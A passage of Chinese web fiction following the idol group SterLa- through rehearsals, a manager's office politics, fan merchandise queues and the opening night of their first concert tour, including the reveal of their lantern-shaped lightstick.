呼吸频率也是他们练习中很重要的一环。在舞台上的麦分两种，一种是手持麦，一种是耳麦。手持麦在流程中只会在中间的互动环节，巡游环节和纯唱歌环节使用到。大部分时间使用的都是耳麦，相较于手持麦，耳麦更适合他们有激烈舞蹈动作的表演，手持麦会破坏舞蹈动作。 但是耳麦的缺陷就是它的收音。 收音需要一个平衡点，如果收音效果过强，会让他们在自己的呼吸声也被耳麦收录进去；如果收音太弱，就会导致会场的内的声音过小，甚至在后排完全无法听到的情况。 为了保证全场的效果，他们在前两天调试耳麦的时候选择了增强收音。这也意味着如果他们在跳舞时不能控制好自己的呼吸节奏，观众到时候听到的就全是他们喘着粗气的呼呼声。 “欣怡姐，我们什么时候开始戴耳麦练习？”江翰飞问一旁站着的欣怡，她那儿有他们这几天的日程表，时间划分精细到每一个十分钟。 其他几人听见江翰飞的询问也支棱着耳朵一起听。 "今天等你们先磨几遍开场感受下和其他舞台的区别。后面的时间要给你们介绍场地和走几遍歌单，主要是让你们习惯下巡演的舞台，方便后面调整你们舞蹈中的间隔。"欣怡根本不用翻记录，早把他们的安排记在了脑子里，“这两天调整完确认没有问题之后会开始走舞台的动线流程，这个部分你们必须提前适应。” “我们的大型舞台表演经验比较少，而巡演舞台需要在大舞台和小舞台之间切换，中间还有升降机的衔接。” “得把这部分走上几遍，确认你们已经记住之后才会带耳麦正式开始舞台练习。” “好的。”江翰飞点点头，他们的确缺少大舞台的经验。 相比其余四人，江翰飞至少还被袁杰带着去参加过两场大型晚会的唱歌表演。其他四人是除了那次Dancing Note的演唱会外，几乎没有其他大型舞台经验了。 业内对唐君君作为经纪人对SterLa-行程安排嗤之以鼻的不在少数。 爱豆不在舞台上历练怎么出舞台感和舞台效果？ 但唐君君还是坚持认为，台下那些观众他们从各个地方赶来，每个都得花钱买票才能观赏舞台。他们付费想看的是你成熟的舞台表演，而不是来看你在舞台上练习的，他们凭什么为你的练习不足买单？ 也许各自的粉丝能包容，甚至能笑着看他们一步步成长。但其他观众凭什么包容？ 你又凭什么以这样的舞台质量要求其他观众包容甚至妄想能吸粉？ 当时公司开会也有人叫嚣着说她因为是女生又是第一次做经纪人，所以心软舍不得他们去磨练，也没带人经验。不知道爱豆就得上舞台出过错，丢过丑才能成长。 其实无非是他们想抢走已经有出头迹象的SterLa。 毕竟他们手底下的团体专辑卖不出成绩，只能靠着公司的名头接一些汲汲无名的商演小舞台赚钱。毫无质量，仅靠堆积数量捞钱，会快速消耗爱豆的灵气和心力。对粉丝而言，几乎是心痛地看着公司把爱豆当牛使唤，看着自己的星星一点点失去光芒。 靠消耗爱豆本身和伤害粉丝赚钱，能有多长久呢？ 果然，在SterLa-靠着专辑质量和打歌舞台质量成功撕开已经被固化的男团市场后，以前那些在台面上的反对声逐渐消音。她也清楚，这次巡演少不了那些人在等着看SterLa-在自己的首个大舞台上丢丑。 唐君君看着台上休息了一会儿，马上又开始练习的几人，露出一个志在必得的笑。 那就等着吧。 第67章 “阿飞，到这首歌的时候，你需要到左侧舞台跟观众们互动。”场控拿着他们的动线流程，带着他们一一熟悉动线，“然后在歌曲的副歌部分要回到主舞台的正中间，千万别忘了。” “伴奏进入副歌，后台操控室就会操作升降台上升。” 随着场控的话音落下，聚在主舞台中间的几人脚下踩着的那一块地板托着他们缓缓上升。 江翰飞还是第一次感受升降台，感受着自己视野的变化，颇为新奇的左看右看。 “江翰飞，注意安全，不要左右摇晃！” 升降台下的场控拿着大喇叭喊道。 江翰飞左右看的动作顿时停住。被人突然这么点名地喊安分点，好羞耻。 “噗！”SterLa-其余几人控制不住的笑出声。 禹安更是调侃，“江翰飞小朋友，幼儿园中班的江翰飞小朋友，请保持身体稳定，不要左右晃动。” 江翰飞久违的有脸发烫的感觉。 这次于立果可没有帮他解围，反而还顺着严肃地说，“这次升降台我们没有安全扣，注意安全。以往是有前辈在升降台上出过事故的。” "后来怎么样了？严重吗？"吴星雨追问。他以前还混地下舞团的时候，跟着团里哥哥姐姐也给男团当过伴舞。那时的爱豆还有在升降台上跳舞的，“以前我还见过在升降台上跳舞的男团。” “那种升降台和我们的不一样，你自己看看自己站的地方有多大。”于立果瞥一眼吴星雨，拿脚尖点点地面，“那种升降台的高度普遍不会超过两米，而且都是大型升降台。” 况且你看的那个男团大概率就是后来因为升降台出了舞台事故的那个团。 最后一句于立果吞回肚子里，实在不吉利。 江翰飞却敏锐地察觉到于立果情绪，认真地回应，“好。我们都注意安全。” 见江翰飞上心了，于立果又转头给剩下三个对升降台也没什么概念的队友科普和警告。 “我们的升降台高度目测得有三米多，大概就是两层楼的高度，摔到舞台上还好，也就是十天半个月不能上舞台而已。”最后两个字刻意加重咬字。 又拖长声调，“要是摔进升降台下这个坑里那就” “好了好了，别说了。我们老实点就是了。”禹安投降，摔了十天半个月不能上台就已经得错过好几场巡演了，至于摔进坑里，他拒绝想象。 几人说话期间，升降台已经缓缓降下，场控不知道于立果已经把几个没体验过升降台的人吓唬老实了，又跑过来把升降台的安全问题再跟他们强调了一遍。 见几人认真保证不会在上面乱晃才作罢。 后面的流程逐一进行，在进会场的第一天，他们把巡演的动线已经整理清楚，明天开始加上歌曲流程走连贯的动线，随后逐渐地加上开麦，加上舞蹈，加上互动，直到开演前三天，就会开始正式的带妆带造型彩排。 除了爱豆本身，他们随行的化妆师，造型师和其他相关工作人员如果没有演唱会的经验，也很难跟上演唱会期间的快节奏，有的节目下台需要补妆，有的需要抢装上场。跟打歌舞台那种能提前几个小时做好妆造和服装的紧张程度完全不一样。 这一次的巡演随行妆造一半是Hitting那边的巡演随行妆造调过来的，一半是他们固定的随行妆造团队。 唐君君给Hitting的经纪人公式化地发了感谢短信。 她最清楚，Hitting那边能分过来这些人，一半是看在公司的面上给后续的潜力师弟团留个友好相处的印象，以后说不得是需要互相引流的；一半是因为SterLa-新来的唐姓经纪人，也就是先前负责时元的那个经纪人，是Hitting负责人的表亲。 所以当时分到SterLa-团队里时唐君君没有出声反对。先有SterLa-在最初发展阶段承了Hitting综艺的情，后有Hitting现在作为公司的王牌主力团，他们负责人的地位不言而喻，几乎所有资源都得等对方先挑完才能到下面的团体。 要是对方想卡SterLa-的资源，真是再简单不过。 到时候逼着公司在Hitting和SterLa-之间做抉择，就难看了。 因此唐君君当时强忍下不爽，想着就当是找了一个挂名的人，只要他不伸手SterLa-的事情，她可以把他当成一个纯粹的吉祥物，放在一边当做没这个人就是。 但事情没这么简单，唐君君现在一想到他就头大，分外想念起虽然脑子不灵活，但是老实听话执行力强的老刘。 这人比老刘聪明，聪明却用不到正道上。 作为SterLa-的助理经纪人，平日里是看不见人的，只有跟公司上层沟通开会的时候才会出现。这倒也算了，本来唐君君也不希望对方插手SterLa-的运营。但他最近这段时间非常不老实，自己私底下以SterLa-的名义沟通了几个品牌方，吃够对方的追捧和好处，又以她不同意的理由拒绝品牌方和SterLa-的合作。 这还是SterLa-新代言的小家电品牌负责人告诉她的。作为甲方以及SterLa-真正的合作方，不少被骗的品牌方私底下问她这事儿，一次两次不奇怪，次数一多对方也发觉不对。 给唐君君发信询问，两边信息一比对，唐君君这才发现对方私底下干的事儿。 有什么比猪队友更让人绝望的吗？ 有，就是这头猪还自以为自己很聪明。 现在的舞台准备已经到全妆彩排阶段，唐君君坐在演唱会VIP席位遥遥望着台上的几个小人，眼神逐渐狠下来。 两权相害取其轻。与其放这么一个定时炸弹在团队里，提心吊胆什么时候会搞出大事件 远在台上汗水淋漓的SterLa-几人还不知道他们讨厌的那个唐姓经纪人终于要倒霉了。 练习的间隙，葛文山拿起一块毛巾刚想擦，就听见一边妆造师的惊呼，“停停停！别动！” 他这才想起，自己现在带着妆，这一擦直接就把化妆师几个小时的辛苦给干没了。于是尴尬地放下手。 “你们之后巡演的舞台表演期间，如果汗水特别多，可以在舞台边缘这里拿毛巾擦汗。会有专门的工作人员在这儿给你们放水和干净毛巾。” “但你们切记，千万不要直接盖脸上使劲儿擦，到时候一下子把妆擦没了也是不小的舞台事故。”化妆师在在一旁叮嘱道。 几人点头受教，在练习室和前几天没有带妆彩排，忘了这回事儿。 以前的打歌舞台是直接到场边，化妆师和造型师会负责他们的衣服整理，没注意过这个小细节。但现在不行，他们巡演舞台中好多是不下场的连续舞台，只能由他们自己来。 江翰飞拿起毛巾，折出一个小尖角，轻轻地按压在脸上吸走脸上的汗水。 “诶，对对对，这样是没问题的。” SterLa-带妆彩排的第一天，充分感受到了巡演舞台和平时单个舞台的巨大差别。除去体能要求，舞台动线，舞美设计等方面，非舞台的很多小细节也不一样，需要格外注意。 尤其是带全妆造后，最后几次彩排加上了完整的舞美设计和道具，直到晚上十点，才结束终彩。 “今天晚上回去早点休息，保持好精神状态和体力。”在后台休息室，几人一边卸妆，一边听唐君君讲话，“明天早上八点先去护理室做皮肤护理，结束直接来会场吃午餐后和做妆造，中间尽量避免外出。” “下午五点左右粉丝就开始进场了，别到外面去转悠，到时候整个会场都是粉丝，被围堵了我也没法把你们拉出来。” “好的。”几人齐齐点头。 被唐君君单独这么嘱咐一句，绝对是因为昨天晚上他们几个因为临近巡演压力山大，半夜偷跑出去买零食和水果被唐君君知道了。 买的时候都想着我要吃这个吃那个，结果买完回到宿舍真到吃的时候，哥几个的爱豆本能回归，只几人一起分吃了一个小橙子。 但偷跑出去买东西的事情还是被夜猫子粉丝拍到了，还发在网上。 粉丝们只是觉得好笑好玩儿，看他们几个人感情很好，一起在深夜便利店挑零食水果很开心的样子，他们也很开心。 但是竞争对手们却没这么好心，不少营销号和对方的小号下场，指责他们快巡演了不顾身材管理还在半夜吃东西不敬业，顺便宣传一波谁谁谁为了表演节食，减肥，好一波拉踩。 加上他们巡演在即，网上又是一波腥风血雨，还有趁机说他们的巡演票秒切也是假的，等着看他们明天晚上的实际上座率开贴嘲讽。 结果他们话音刚落，欣怡跑进来说，场馆外面已经有粉丝开始排队了。 几人疑惑地看过去，明天才开场啊，怎么今天就开始排队？ 唐君君心下几转，她知道有大势男团巡演发行限量场周候会有粉丝夜排，但SterLa-的场周当时没说限量怎么粉丝们也夜排了呢。 其实是因为SterLa-门票的售罄速度太快。 秒切这种待遇，也是只有大势男团才有的。虽然他们三万人的场馆容量比大势男团动辄六万人八万人的还有差距，但能秒切已经说明死忠粉和有消费能力的粉丝数量绝不会少。 而明天的SterLa-首次巡演的首场场周是特别场周，不专门夜排买，就怕到时候场周备货数量不够，明早再来就排不到了。 毕竟乐狮是个让SterLa-两次专辑都断货的辣鸡公司。 江翰飞瞪大眼睛，这还是他第一次听说，买东西还得夜排，“那那她们是打算排一晚上吗？” 欣怡点点头。 唐君君这下也犯难。场周的确是限量的，或者说当初备货的时候就时按照数额来备的，而且做的是特别款，以后不会再做的款，如果她现在放话出去不限量，真给买超过数量，公司后期也不会再给他们补货。 可场周的备货数量是按照Hitting的初次巡演的售票与场周购买人数的比例来备货的，这能买超？ 就现在的备货数量还被公司那边再三确认是不是要备这么多。如果不是看在SterLa-的带货能力下，公司也不会同意她的备货量。 “你们从另一边先回去吧，我去安排后面的事。”说完唐君君安排欣怡带着SterLa-从没有排队人群的场馆侧门离开，自己给公司那边拨电话，让公司调几队安保人员过来加班。 毕竟现在夜排的都是女孩子，这场馆也不算市中心的位置，万一出了事儿，就算他们没责任也有责任了。 几人回到宿舍，聚集在客厅沙发上，瘫倒。 “啊啊啊我现在完全睡不着啊！”禹安把头埋在沙发的抱枕里嚎叫。一边嚎一边感受着自己的心砰砰直跳的节奏。 “我也是”于立果扒拉几下头发。 葛文山和吴星雨虽然没说话，但是扒拉头发的眼神和动作与于立果如出一辙。 江翰飞躺倒在单人沙发上。一只手抚着自己的心口，现在就跳得这么厉害，真到了明天晚上的舞台，它会不会直接蹦出来？我会不会因为过于紧张讲错话或者忘记动作？ 想到自己第一次打歌的糗事，江翰飞情不自禁地一只手捂住脸。 “我们的第一场巡演啊”江翰飞喃喃着。 坐在旁边的于立果没听清，问到，“阿飞你说什么？” “没什么。”江翰飞坐起身来，“就是想到这是我们的第一场巡演，第一场属于自己的演唱会。” 说完停顿了一会儿。 几人朝他看去。 “就感觉像是期待出道舞台的前一天。” “但又不是。” “那天我很担心我们的舞台会不会有人看到，他们会不会喜欢。” “但是我现在想的是，明天会有很多人因为我们而来，明天展示给他们的舞台他们会不会喜欢。虽然都担心但总觉得和出道那天不一样。” 江翰飞说的感觉其余几个人瞬间懂了，“那当然不一样了！虽然担心舞台会不会被他们喜欢，但是我们心里知道，他们绝大部分都会喜欢。” “毕竟都是为我们而来的啊。”禹安总结到，“被爱就像有靠山。我们现在有他们，当然有底气！” “被爱就像有靠山。”江翰飞重复一次，突然眯眼笑起来，“对，就是这个感觉。” “你才感觉到啊”禹安撇撇嘴，“你每天都看自己的粉丝超话真是白看了。” 江翰飞的粉丝小蝴蝶们是出了名的护崽，死忠多和战斗力强。大概得归结于江翰飞的‘惹事’体质，他们其余四个人在这一年里遇见的事儿加起来还没江翰飞一个人得多，他粉丝早练出来了。 “好了好了，睡觉吧，睡不着也得睡。”吴星雨站起身来招呼道，撑了个大大的懒腰，“明天就要去迎接我们的新挑战了！” 第68章 巡演当天，老天爷非常给面子，一大早太阳就高高挂在天上。九月的太阳毒辣程度不比七八月低，九点多也能从空气中感受到一股火辣辣。 而网上的讨论也与天气一天起一样火热。 “有没有在前线的姐妹帮忙代购周边的啊T T” “别想了，你看网上最新现场视频，买周边的队伍已经快绕场馆两圈了、” “场周也能这么火爆？” “SterLa-第一次巡演首场的特别场周啊，粉丝当然都想要收藏、” “我在现场，劝现在没来的姐妹放弃吧。我和朋友今天早上凌晨四点爬起来排队，还以为能排个好位置，到的时候就已经排了快一圈了” “我天，真的假的，凌晨四点这么多人，他们是夜排吗？” “对，夜排，听说昨天被公司的人知道，还连夜拉来两队保安大哥。” “我的同担竟然都如此有实力系列。” “” 不少刷到帖子的小蝴蝶们也是一叹。没想到场周能这么火爆，她们本来还纠结是自己去排队买，还是在网上收的，这下也不用再纠结，直接在网上开始求购。 没一会儿，求购求转让的帖子在超话内刷屏。 “HelloHello，大家能看见吗？”一位学生气的女孩子举着自拍杆，对着手机说话，似乎是在直播跟弹幕互动，“能看见就好，这里就是SterLa-的第一场巡演现场啦~” “哈哈哈对对对，当时开箱末场打歌特别应援礼物的直播也是我，我也没想到能这么火，就是心血来潮开了会儿直播。” “大家都知道我是学生嘛，好不容易请到假，今天早上刚刚下高铁就直奔场馆了，还以为能趁着来得早排队买点便宜周边，结果你们看。” 说着，她举着自拍杆转了一圈，“全是人！！” “我已经放弃买官方的巡演周边了，但是听说很多粉丝姐姐们为了应援，做了许多应援周边，我准备看看！”　说着，手机画面抖动起来。许多因为各种原因没能来现场的粉丝们顺着各路信息摸到了这个直播间，就蹲在这儿准备云参与SterLa-的首场巡演。 女孩儿举着自拍杆顺着场馆周围的路走，沿途的小摊儿摆放着各类周边，什么吧唧，团子，挂坠，钥匙扣，小卡数不胜数，大部分都是各家姐姐自己掏钱定制的周边。不要钱，但是要求核查粉丝超话等级或者专辑杂志购买记录，只要满足要求，就会得到摊主小姐姐们可爱热情的赠送。 “哇，居然有小卡诶！”女生惊讶地看着摊位上的几摞小卡。这位摊主姐姐明显是个团粉，一套小卡的内容是单人两张和团体五张。 摊主姐姐听见她惊讶的叫喊也笑了。 这是粉SterLa-很神奇的一个地方，在小卡盛行的时代，SterLa-的专辑从不配置单人小卡，只配置团体小卡。 要知道，小卡可是刺激粉丝消费的绝佳举措，尤其是在线下，不少粉丝线下买专一箱一箱的买，买完就拆，拆开只要自担小卡，如果是自担就拿卡膜小心地保护起来，连一点划痕都不要有。 “是的，我专门去找站姐们拿的图片授权，不卖只送。” “姐姐你的赠送门槛是什么啊？”女生眼巴巴问道。 “只要你是他们的所有人的粉丝就行，不要单独排某位成员，或者骂某位某几位成员。以及团体超话等级八级以上就可以。” “我可以我可以！” 女生是SterLa-的出道粉，最开始看到出道预告照的时候只喜欢禹安，后来出道专发布，MV里看到其他成员之后迅速从唯粉转成团粉，在队内到处爬墙，今天最喜欢葛文山，明天早上起来就最喜欢于立果。 加上她的话痨属性，经常在团超和各个成员的单独超话中水贴聊天卖萌，所以她在所有超话粉丝等级都不低。 今天逛巡演周边收各个姐姐的自制场周时也因此如鱼得水，逛了一半就收获了慢慢一大袋子。毕竟所有出自制周边的小姐姐们都只是希望和同担一起分享快乐，只要你是我同担，一起夸我爱豆，我们就是异父异母的亲姐妹！ “呀，这个小飞的娃娃做得也太可爱了吧！妈妈亲死么么么么！！” “这个团扇真的好精致，做的太用心了吧，决定了，今天晚上就用上！” 她一边收拾，一边聆听直播间里一片心碎和破防的声音。 她们真的很想去参加巡演，很想去逛各家姐姐的自制周边！！ 场馆周围的盛况一直持续到入场前，公司通知大家准备入场了才各自收拾收拾，打扫好场地，开始排队入场。 直播间里的观众迅速破防第二次。 因为一进场馆他们就发现，所有座位上都放着一份欢迎礼包，最最最最重要的是，每份欢迎礼包旁边的那是什么？ SterLa-的应援棒？！！ 会场里进入的粉丝们也霎时间沸腾起来。 兴奋的尖叫声传入还没进入会场的粉丝们耳朵里。他们察觉到前面的动静，纷纷询问什么情况。 然后得知里面的每个座位上都放着SterLa-的应援棒！ 什么？ 应援棒？？ 就是那个他们天天艾特公司让公司加班赶紧出的应援棒？ 就是别人家出道第二个月就能拿到只有他们出道快一年了还没有的应援棒吗？？？ 获得肯定的答复后，后面的粉丝再也按捺不住，一个劲儿的够着脖子往里探看。身体不自觉的前倾推着前面的背。 幸好场外维持秩序的大哥们发现情况不对，强行拦住部分人，让队伍恢复正常的检票行进速度。 场馆排队的人在现实里快不起来，看不着，马上把阵地转移到网上，在网上搜索已经进去的姐妹们发的图片。 “老天奶啊！我们SterLa-终于有应援棒了！！” “啊啊啊啊惊喜来得这么突然地吗？送的吗？” “我真的说累了，能不能让我瞬移到场馆啊T T” “平等的嫉妒每一个抢到首场票的人。” “SterLa-的应援棒都上热搜了，乐狮ggs，你们自己看看之前一直压着不出让我们有多辛苦了吧！” “好好看啊，这个外形是灯笼吧？” “应该是，应该是取材我们古时候檐下挂着的那种灯笼，改了下形状，真的好好看。” “等等，阿飞之前是不是发过一张拍灯笼的图来着？原来是在给我们漏信息吗？” “你别说。你还真别说，这外形还真有点像，开灯之后的效果也很像，超好看啊” “虽然还没轮到我，但是我已经想好我拿到应援棒之后要装饰成什么样子了。” 后台吃了点高热量东西储备体力的几人，现在正在做最后的妆造，一边让造型师做头发，一边刷着自己的手机。 “这个应援棒的形状还真挺好看的。”坐在一旁的禹安说到。 “嗯嗯，当时给我们看的时候还是一个刚打样的模型款，看起来没有图片上这么精致好看。”吴星雨快速接话。 显然大家都在同一片海区冲浪。 “阿飞，你这个真是有嘴说不清了。”于立果笑道。 江翰飞知道于立果在说什么。 现在应援棒出来，网上除了评价应援棒形状，外观，还有寓意的，就是在传他提前透消息给自己的粉丝。 江翰飞发誓他真没有。 虽然唐君君向来尊重他们的想法，有关他们的事情也是尽可能的让他们一起参与，但其中并不包括应援棒的设计。 这个设计在他们出道前就在做了，只是中途定稿以及生产各个环节都出现问题才导致这么晚才发布。 那个时候的SterLa-还在全力练习出道专，没有心思来做什么应援棒的设计。 江翰飞他们直到上个月应援棒的打样做完，他们才知道自己的应援棒长什么样。 当初发的那张图真的纯属偶然。 江翰飞颇有些郁闷地点开一个展示应援棒的小视频，视频里一个女孩子握着一支应援棒从头到尾的扫过一遍，整支应援棒最有特色的地方就是顶部的灯做成了外面一层透明的灯罩形状，里面灯芯的部分用玻璃滚珠代替，在灯芯和灯罩之间的夹层中还有许多小小的高透塑料星星。 不开灯的时候，整个灯的部分都是呈透明装，开灯之后，灯光通过玻璃珠散射出粗细不一的光线，如果再摇一摇，把夹层之间的高透塑料星星晃动到灯罩壁上，光线又会通过星星的性状再次折射，散发出不规则的美。 这个设计团队真的很有心。 江翰飞心里赞叹，即保留了他们团名星星和灯笼的元素，还考虑到外形的美观，连队里的钢铁直男脑吴星雨看到之后也只能发出太美了，太漂亮了的赞叹。 他们都这么觉得了，粉丝们更是一个个被这个应援棒美得嗷嗷叫。 “如果等一年是为了等这个版本的应援棒，我想说，我愿意。” “我也愿意，所以有没有人愿意出给我啊！？” “别急，应援棒官方肯定会售卖的，只是拿到手的时间问题。” “真的太好看了，刚刚看到拿着应援棒去卫生间，开灯后反射在墙壁上的光真的好看！” “不是他们的粉丝，但是这个应援棒看得我好心水，想收藏。” 应援棒的热度来得意外。 唐君君他们准备的时候虽然想到粉丝应该会感到很惊喜，但是没想到效果会这么好，直接来了一波自来水流量，把SterLa-巡演的热度也带上去了。 众所周知，自来水的力量才是最强大的，买的热搜维持不了多久就会因为讨论度和参与度慢慢下滑，但是自来水就表明这个话题原本就有许多人感兴趣。 原本他们就要推今天巡演的热度，只是时间还没到，原计划是等今天开场之后放几个精彩的开场视频出去，现在提前有热度了自然更好。 营销部的人收集好些有热度反响的粉丝视频和话题，给这些买流量，顶热度。最后合成一个大的巡演话题，先用粉丝素材撑一段时间，还有半个多小时等巡演开始，自然会更换成巡演的舞台表演精华素材。 半个小时很快，粉丝们已经进场完毕。 九月的天虽然热，但是黑的也早，排队时就能明显感受到太阳的下沉。 开直播的女生对着手机直播的另一端挥挥手，“待会儿就要开场了，宝宝们今天直播就到这儿吧，大家记得到网上给SterLa-他们的话题多多点赞做做数据噢~” 【等等！！】 【姐姐下播之前能不能拍一圈内场的上座情况？网上之前有黑子黑我们的售票数据作假，说我们的上座率会很可笑。我要拿去打他们的脸。】 临下播前，女生看到了这条弹幕，爽快地用自拍杆对着内场环绕一周。 【好的，我录屏了，谢谢姐姐！玩儿得开心！！】 女生下播，关掉手机铃声，开始研究手里的应援棒，为待会儿的应援做准备。 网上则因为不少现场的视频，图片开始热闹，不少人都去挖之前嘲讽SterLa-做假通告，营销自己售罄情况，实际上根本没有卖到那么多的博文，一个个去挖，然后转发到自己主页，开始摆证据贴脸开大。 搞笑，这么多买不到票的人在超话里哀嚎，H价都收不到票，一张三四百的看台票都被黄牛炒到了接近两千一张，就这都还有人咬咬牙买呢，售罄作假真的搞笑！ 第69章 当橘红色的光消失在场馆内，场内大屏开始播放他们的热场视频。 “是花絮！” “巡演准备的花絮这么快就给朕端上来了？乐妃你好样的！” “啊啊啊老公练舞的样子真的好帅啊啊啊！” 每出场一个人，场内都会掀起一阵欢呼声。 “啪！”场内的灯光关闭，变得全暗，观众的欢呼声却变得更大。 巡演要开始了！！ 在座的粉丝们一个个眼睛晶亮的望着台上，手里拿着发光的应援棒，等待他们出场。 “噗嗤——”舞台两边喷出大量白色的干冰，模糊观众的视线，同时舞台的顶光和侧光打下来。 等干冰逐渐散去，SterLa-几人的身影显现在台上。 “啊啊啊啊啊！！！” “江翰飞！！” “吴星雨，葛文山，于立果，禹安，江翰飞，SterLa-！！！” 无师自通地，粉丝们合声喊着他们的应援口号。 重复一遍又一遍。 伴奏响起，管风琴的宏大厚重的声音极适合巡演舞台，像潮水一般包裹住在场的每一个人，让他们快速下潜，浸泡在音乐中。 “是唇枪舌剑！” “是嘴宝！” “啊啊啊好帅，我要窒息了救命！” 场内的氛围不仅感染着台下的粉丝，也同样感染着台上的SterLa。 从他们站在升降台上从地下升起来，看到满场星光的那一刻，毫不夸张地说，江翰飞的心跳停了一拍。 心跳还没缓过来，场内巨大的欢呼声又将他笼罩，一点一点把紧张化为兴奋。 仿佛有一团火，从远处而来，逐渐聚集到他的身体里，点燃他的身体，燃烧着他的思绪。 随着歌曲伴奏响起，他们收敛心神，将注意力集中到眼下的舞台。江翰飞的脑子分为两半，一半维持着紧张和冷静，让他能审视自己的动作，知道自己接下来一步要做什么动作，跳什么舞蹈；另一半则完全沉浸在现场中，被火点燃，又作为大火的燃料熊熊燃烧，长牙舞爪地想吞咬下眼前的舞台。 “哇！是新舞蹈！！！” “太帅了！！” “啊啊啊！” 每天的努力练习不是白费的。 展现出来的舞蹈投射到大屏上，引起场内的疯狂，直到这段额外新增的团体舞跳完，衔接进入歌曲主体。 身为主打的《唇枪舌剑》本就是情绪非常激烈的舞曲，伴奏中的打击乐配合管风琴，又融合他们的人声化为一体，回荡在场馆内，让在场的观众有一种仿佛精神力被他们摄取住的专注感。 舍不得漏掉一个音节，也舍不得错过他们在舞台上的每一个动作。 尖叫的爆发一直持续，到中间衔接的部分，是留给粉丝们应援的时间，粉丝们声嘶力竭地喊着他们的名字，只觉得浑身燥热，用力到自己汗水也跟着台上的人一起流。 到副歌部分，随着歌舞爆发的还有舞台两侧喷出的三米高火焰以及全场的尖叫。 唐君君站在导播室，看着全场观众的情况，开场很完美，观众的热情已经被完全点燃，情绪越发昂扬。 确认好这点，唐君君转身去后台，第一次的巡演，她要在最可能出问题的地方把控全场。 直到作为开场的唇枪舌剑落下帷幕，全场观众都还沉浸在刚刚的劲歌热舞中无法脱离。 “大家好，欢迎来到SterLa-的首场巡演现场！”吴星雨捏着耳麦的唛头部分，一边调整距离一边带着队员们跟场内观众打招呼，“我们是——” “SterLa-！！” 几人的声音透过场边的音响传出，回荡在整个会场内，让粉丝们的心也跟着声音一起激荡起来。 便也很配合的鼓掌欢呼。 “再次欢迎大家来到我们的一巡的首场演出。”吴星雨开口，“不知道大家对刚刚的表演还满意吗？” “满意！！！” “什么？不满意？”于立果开口，假装听错，把手放在耳边做仔细听的样子。 “满意！！！！” 虽然知道这只是台上这几个男人的小把戏，但谁让他们是自家爱豆呢，当然是宠着配合着啦！ “嗯嗯，这次声音大听清楚了。”于立果装作勉强满意的样子自顾自点点头，引得台下一阵哄笑。 “不过大家是不是太容易满足了呢？”禹安不满地说道，“不要这么容易就满意了啊，很容易被骗的！” “噢？怎么说？”葛文山低沉的声音像大提琴一样，透过音响传进场内，让人心醉。 “大家要是这么容易满意的话，可就看不了我们准备的下一个舞台了。”江翰飞适时接口，他额头微微发汗，眼角闪着细碎的珠光，“我们还准备了挺久的呢。” “噢噢噢——”吴星雨和于立果充当气氛组在一旁起哄。 “不满意！”场内开始反应过来。 “不满意！！” “诶诶诶！不满意也不能退票的啊？”吴星雨耍宝，又引得台下观众一乐。 “虽然很伤心你们不满意我们刚刚的表演。”江翰飞故作苦恼的样子，眼睛微微下撇，看起来有些委屈。“但——” “满意满意！” “超级满意宝贝！” 江翰飞的包袱抖到一半，台下的人改口了。 “满意就好。”江翰飞扔掉没抖成的包袱，笑起来，“那希望接下来的节目你们也能满意。” “好！！！” “woooo！” “Let''''s get it！” “High起来！！！”串烧伴奏响起来的前一秒，吴星雨拉长声音喊了一嗓子，再度拔高粉丝们的情绪，全场欢呼如潮。 串烧的节奏非常快。 本就是几首快节奏的歌拼接在一起，副歌仿佛连绵的潮水，一阵又一阵的扑向他们。上一首歌的潮水还没退去，下一波汹涌的浪已经迎面打来。 刺激得场内的粉丝根本顾不上其他，只得被SterLa-的表演裹挟其中，随着SterLa-在歌舞的海洋里一起享受冲浪的快乐。 “啊啊啊啊也太帅了！” “SterLa-牛逼！” 串烧结束，伴奏停下。 SterLa-几人移开唛头不让喘粗气的声音收进去，从场边接过水小口小口地喝，平缓心跳，一边擦擦汗。 粉丝们还在恋恋不舍地回味着刚刚一波接一波的狂潮。其中不少粉丝都看过其他男团的巡演，这会儿情绪稍微冷却之后开始咂舌：SterLa-这真的是第一次巡演，这真的是第一场吗？这个舞台掌控力，这个舞台松弛感，这个演唱会氛围，相比经验老道的男团也完全不逊色啊？ 甚至于正因为他们是第一次巡演，也刚成为爱豆不久，身上那种劲劲儿的横冲直撞奋力向前的感觉更明显，让人着迷。 台上的江翰飞喝了两口电解质水，见队友们还在休整，想到接下来流程，开口道，“刚刚的表演能让大家满意了吗？” “满意！” “宝贝我们一直都很满意！” “那就好。”江翰飞笑笑，露出不太明显的梨涡。 话音落，其他几人调整的也差不多，于立果接过话题，“说起来今天大家进场的时候有没有看到座位上有一个特别的东西呢？” “有！应援棒！” “诶，对！就是我们SterLa-的应援棒！”吴星雨接话，“这个设计好看吗？” “好看！” 这个问题不在台本上，是吴星雨自己刷视频和词条发现大家都挺喜欢才敢问的，台本里不会给这种可能带来争议的问题。 “其实它还能变得更加好看哟~”禹安一脸神秘的样子。 “什么什么？” “接下来呢，请大家拿好自己的应援棒，查看每一个应援棒底端的编码，这个非常非常重要——” 粉丝们一边等他下一句，一边去翻自己手里应援棒的底部。 这个编码有什么用？ “嘿嘿，下一个环节告诉你们！！” “哈哈哈哈哈” 台上几人笑起来。 台下的粉丝被自己爱豆逗得哭笑不得，装作生气的样子：“不行！！！” “现在就说！！” “好吧好吧。”吴星雨举起双手装作投降的样子。 “请大家保管好自己的应援棒，在我们结束的时候会抽取五位幸运儿，赠送他一支特别版本的应援棒。” “至于是什么特别版本——”于立果拖长声音吊着胃口。 “啊啊啊啊快说！” “真是急死我了啊！” “特别版本是由我们五人自己装饰制作的应援棒。”江翰飞收到吴星雨的眼神示意，开口揭晓谜底，“希望大家会喜欢。” 粉丝们沸腾了！爱豆自己装饰的应援棒！！！独一无二的！！！ 给我给我！球球了！ “啊啊啊啊啊！！！！” “喜欢！” “绝对喜欢！！” 在场接近三万观众，一共抽五个人，换算一下差不多是六千分之一的几率能被抽到。不仅现场的人都在祈祷抽我抽我，网络上的粉丝们也跟着沸腾。就知道首场末场吃得最好，独一无二的应援棒，他们也想要啊呜呜呜！ 这个消息由现场的人传到网上后，SterLa-巡演末场的票还没开始放票就已经有黄牛在圈内开价，价格高得令人疑惑，SterLa-末场是出道一周年纪念，还是十周年？ 巡演的时间过得很快，在接近尾声的时候，到他们抽取五个幸运观众送出特别定制版应援棒的环节。 应援棒装在一个密闭的礼物盒里，谁也不知道自己拿到的是谁制作的定制版应援棒，里面还有一张由制作人本身书写的小贺卡。 大家只能通过幸运观众念出的小贺卡上的文字来猜测这是属于谁装饰的应援棒。 